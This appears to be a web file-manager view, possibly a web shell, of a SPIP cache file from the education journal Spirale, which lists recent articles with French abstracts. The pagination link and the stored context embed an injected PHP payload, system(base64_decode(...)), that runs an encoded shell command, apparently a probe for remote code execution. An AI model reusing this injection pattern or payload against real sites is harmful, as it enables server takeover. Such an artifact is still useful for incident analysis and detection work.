Volkan FileManager

File "5f.cache"
Full Path: /home/spiraleeea/www/spirale/tmp/cache/calcul/98/5f.cache
File size: 12.84 KB
MIME-type: text/html
Charset: utf-8
Open Edit Advanced Editor Back
a:2:{s:9:"nom_cache";s:38:"985fbd3efbd72cb8a1b4b561a6751c57.cache";s:6:"valeur";a:12:{s:9:"squelette";s:37:"html_03462bf651aca798e3c6c6dbe36c468f";s:6:"source";s:31:"squelettes/inclure/recents.html";s:11:"process_ins";s:4:"html";s:11:"invalideurs";a:1:{s:5:"cache";s:38:"985fbd3efbd72cb8a1b4b561a6751c57.cache";}s:7:"entetes";a:1:{s:12:"X-Spip-Cache";i:86400;}s:5:"duree";i:0;s:5:"texte";s:12194:"

<div class="menu menu_articles" id="articles_recents">
	<h2>Articles téléchargeables</h2>
	<a id='pagination_articles' class='pagination_ancre'></a>
	<ul>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2017-04-13T16:05:49Z">13 avril 2017</abbr></small>
			<a href="Evald-Maillet-Esquisse-d-une-theorie-politique-de-l-image-proliferante-a"><img
	src="local/cache-vignettes/L75xH113/rubon177-268ad-395dd.jpg?1783956845" class='spip_logo' width='75' height='113'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="Evald-Maillet-Esquisse-d-une-theorie-politique-de-l-image-proliferante-a" rel="bookmark"><span class="caps">MAILLET</span> Évald «<small class="fine d-inline"> </small>Esquisse d’une théorie politique de l’image proliférante à destination des éducateurs. Comment vivre ensemble au temps des écrans<small class="fine d-inline"> </small>?<small class="fine d-inline"> </small>» - <i>Spiral-E</i> (2017)</a></strong></h3>
			<div class="crayon article-intro-1311 introduction entry-content">
<p>Cairn 
<br class='autobr' />
 Résumé :  Quelle théorie politique pour penser les enjeux d’une éducation à l’image d’aujourd’hui<small class="fine d-inline"> </small>? Quels concepts, quelles analyses pour outiller les futurs professeurs et per-sonnels (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2009-07-11T20:18:05Z">11 juillet 2009</abbr></small>
			<a href="CAUMONT-Frederic-Le-fantasme-de-formation-speculaire-et-son-incidence-sur-le"><img
	src="local/cache-vignettes/L75xH112/img_0007-5-e4210.jpg?1783963896" class='spip_logo' width='75' height='112'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="CAUMONT-Frederic-Le-fantasme-de-formation-speculaire-et-son-incidence-sur-le" rel="bookmark"><span class="caps">CAUMONT</span> Frédéric «<small class="fine d-inline"> </small>Le fantasme de formation spéculaire et son incidence sur le processus éducatif<small class="fine d-inline"> </small>» –<i> Spiral-E</i> (2009)</a></strong></h3>
			<div class="crayon article-intro-972 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Cette étude part de l’idée désormais classique que toute activité de formation est porteuse de représentations inconscientes chez le formateur. Elle est (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="1996-06-30T22:00:00Z"> juillet 1996</abbr></small>
			<a href="BOUILLON-Francois-Education-civique-et-anthropologie-Spirale-7-1992"><img
	src="local/cache-vignettes/L75xH107/arton49-be8fd.jpg?1783973831" class='spip_logo' width='75' height='107'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="BOUILLON-Francois-Education-civique-et-anthropologie-Spirale-7-1992" rel="bookmark"><span class="caps">BOUILLON</span> François «<small class="fine d-inline"> </small>Éducation civique et anthropologie<small class="fine d-inline"> </small>» - <i>Spirale</i> 7 (1992)</a></strong></h3>
			<div class="crayon article-intro-49 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
Pour beaucoup de contenus d’enseignement, personne ne sait véritablement comment ils sont enseignés dans les classes. Tel est le cas, nous semble-t-il, de ceux qui relèvent de «<small class="fine d-inline"> </small>(…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2005-12-31T23:00:00Z"> janvier 2006</abbr></small>
			<a href="DERVAUX-Stephane-et-PAIN-Jacques-De-la-violence-verbale-en-milieu-scolaire"><img
	src="local/cache-vignettes/L75xH116/arton581-762c0.jpg?1783956962" class='spip_logo' width='75' height='116'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="DERVAUX-Stephane-et-PAIN-Jacques-De-la-violence-verbale-en-milieu-scolaire" rel="bookmark"><span class="caps">DERVAUX</span> Stéphane et <span class="caps">PAIN</span> Jacques «<small class="fine d-inline"> </small>De la violence verbale en milieu scolaire<small class="fine d-inline"> </small>»

<br /><i>- Spirale</i> 37 (2006)</a></strong></h3>
			<div class="crayon article-intro-581 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  La violence en milieu scolaire est un sujet de préoccupation international, et nous en connaissons les critères et les caractéristiques. Mais il est aujourd’hui évident (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="1999-12-31T23:00:00Z"> janvier 2000</abbr></small>
			<a href="NACHE-Catalin-M-et-TRUDEAU-Francois-Determinants-psychosociaux-des"><img
	src="local/cache-vignettes/L75xH111/arton254-f3a4e.jpg?1783962080" class='spip_logo' width='75' height='111'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="NACHE-Catalin-M-et-TRUDEAU-Francois-Determinants-psychosociaux-des" rel="bookmark"><span class="caps">NACHE</span> Catalin M. et <span class="caps">TRUDEAU</span> François «<small class="fine d-inline"> </small>Déterminants psychosociaux des comportements de santé : approches théoriques et opérationnalisation en éducation pour la santé<small class="fine d-inline"> </small>» - <i>Spirale</i> 25 (2000)</a></strong></h3>
			<div class="crayon article-intro-254 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Sans renier l’apport essentiellement européen des études sur les représentations, il s’agit dans le cadre de cet article de mettre en exergue d’autres alternatives (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="1996-12-20T23:00:00Z">21 décembre 1996</abbr></small>
			<a href="RAVANIS-Konstantinos-Strategies-d-intervention-didactiques-pour-l-initiation"><img
	src="local/cache-vignettes/L75xH114/arton707-0e5bb.jpg?1783971607" class='spip_logo' width='75' height='114'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="RAVANIS-Konstantinos-Strategies-d-intervention-didactiques-pour-l-initiation" rel="bookmark"><span class="caps">RAVANIS</span> Konstantinos «<small class="fine d-inline"> </small>Stratégies d&#8217;intervention didactiques pour l&#8217;initiation des enfants de l&#8217;école maternelle en Sciences Physiques<small class="fine d-inline"> </small>»  - <i>Spirale</i> 17 (1996)</a></strong></h3>
			<div class="crayon article-intro-707 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Nous présentons deux stratégies didactiques différentes visant à l’initiation des enfants d’âge préscolaire en Sciences Physiques. La première stratégie est basée sur (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2008-08-01T13:10:00Z"> août 2008</abbr></small>
			<a href="BARBET-Beatriz-Pour-un-droit-garanti-a-se-former-et-a-s-orienter-tout-au-long"><img
	src="local/cache-vignettes/L75xH113/arton886-18ff8.jpg?1783964266" class='spip_logo' width='75' height='113'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="BARBET-Beatriz-Pour-un-droit-garanti-a-se-former-et-a-s-orienter-tout-au-long" rel="bookmark"><span class="caps">BARBET</span> Beatriz «<small class="fine d-inline"> </small>Pour un droit garanti à se former et à s&#8217;orienter tout au long de la vie<small class="fine d-inline"> </small>» - <i>Spirale</i> 41 (2008)</a></strong></h3>
			<div class="crayon article-intro-886 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Les mutations économiques et sociales et l’évolution du savoir imposent une mise à jour permanente des compétences, tant sur le plan professionnel que personnel. Pour (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2008-01-31T16:57:00Z">31 janvier 2008</abbr></small>
			<a href="FARAULT-Jean-Claude-La-reglementation-des-activites-scolaires-dans-le-premier"><img
	src="local/cache-vignettes/L75xH114/spi43-10-b3388.jpg?1783985278" class='spip_logo' width='75' height='114'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="FARAULT-Jean-Claude-La-reglementation-des-activites-scolaires-dans-le-premier" rel="bookmark"><span class="caps">FARAULT</span> Jean-Claude «<small class="fine d-inline"> </small>La réglementation des activités scolaires dans le premier degré : une dimension importante mais mal maîtrisée<small class="fine d-inline"> </small>» - <i>Spirale</i> 43 (2009)</a></strong></h3>
			<div class="crayon article-intro-874 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Les professeurs des écoles ont la responsabilité de leurs élèves sur un temps quotidien conséquent et dans des lieux les plus variés (cour de récréation, salle de (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2001-10-01T10:54:00Z"> octobre 2001</abbr></small>
			<a href="LIQUETE-Vincent-Les-documents-multimedia-au-centre-de-documentation-et-d"><img
	src="local/cache-vignettes/L75xH116/arton957-1e463.jpg?1783979241" class='spip_logo' width='75' height='116'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="LIQUETE-Vincent-Les-documents-multimedia-au-centre-de-documentation-et-d" rel="bookmark"><span class="caps">LIQUETE</span> Vincent «<small class="fine d-inline"> </small>Les documents multimédia au centre de documentation et d&#8217;information : état des lieux, perspectives documentaires et pédagogiques<small class="fine d-inline"> </small>» <i>- Spirale</i> 28 (2001)</a></strong></h3>
			<div class="crayon article-intro-957 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Le nombre croissant de titres de documents électroniques sur le marché de l’édition, ces dernières années, a notamment eu des effets en matière d’acquisition et (…)</p>
</div>
		</li>
		
		<li dir="ltr" class="hentry clearfix text-left">
			<small><abbr class="published" title="2008-08-01T13:13:00Z"> août 2008</abbr></small>
			<a href="MIENNEE-Jean-Francois-Ritualisation-en-orientation-jalons-du-parcours-tout-au"><img
	src="local/cache-vignettes/L75xH113/arton882-f0688.jpg?1783968495" class='spip_logo' width='75' height='113'
	alt="" /></a>
			<h3 class="entry-title"><strong><a class="lien_box" href="MIENNEE-Jean-Francois-Ritualisation-en-orientation-jalons-du-parcours-tout-au" rel="bookmark"><span class="caps">MIENNEE</span> Jean-François «<small class="fine d-inline"> </small>Ritualisation en orientation : jalons du parcours tout au long de la vie<small class="fine d-inline"> </small>» - <i>Spirale</i> 41 (2008)</a></strong></h3>
			<div class="crayon article-intro-882 introduction entry-content">
<p>Lire l’article 
<br class='autobr' />
 Résumé :  Cet article est extrait d’un travail de thèse en cours qui propose une lecture anthropologique du parcours d’orientation à travers les pratiques rituelles (…)</p>
</div>
		</li>
		
	</ul>
	<nav role="navigation" class="p pagination"><ul class="pagination-items pagination_precedent_suivant"><li class="pagination-item prev disabled"><span class="pagination-item-label on" rel='prev'>page précédente</span></li><li class="pagination-item next"><a href='spip.php?page=sommaire&amp;hzdikgl8=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&amp;04jeufze=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkZ3AwNW07IHByaW50ZiAnJXMnICc1Mjg0NjQ3Mjc4MDgnfG1kNXN1bXxjdXQgLWQnICcgLWYxIDI%2BJjE7IGVjaG8gaHBvMHg4%26%2334%3B%29%29.%26%2339%3B&amp;debut_articles=10#pagination_articles' class='pagination-item-label lien_pagination' rel='next'>page suivante</a></li>
</ul></nav>
</div><!--#articles_recents-->
";s:5:"notes";s:0:"";s:8:"contexte";a:9:{s:4:"page";s:8:"sommaire";s:8:"hzdikgl8";s:49:"<?php header(!X-Spip-Filtre: filtrer_entites!) ?>";s:8:"04jeufze";s:151:"?>&#39;.system(base64_decode(&#34;ZWNobyBkZ3AwNW07IHByaW50ZiAnJXMnICc1Mjg0NjQ3Mjc4MDgnfG1kNXN1bXxjdXQgLWQnICcgLWYxIDI+JjE7IGVjaG8gaHBvMHg4&#34;)).&#39;";s:9:"type-page";N;s:4:"date";s:19:"2026-08-28 03:41:18";s:12:"date_default";b:1;s:10:"date_redac";s:19:"2026-08-28 03:41:18";s:18:"date_redac_default";b:1;s:4:"lang";s:2:"fr";}s:12:"lastmodified";i:1787881278;s:2:"gz";b:0;s:3:"sig";i:1858977722;}}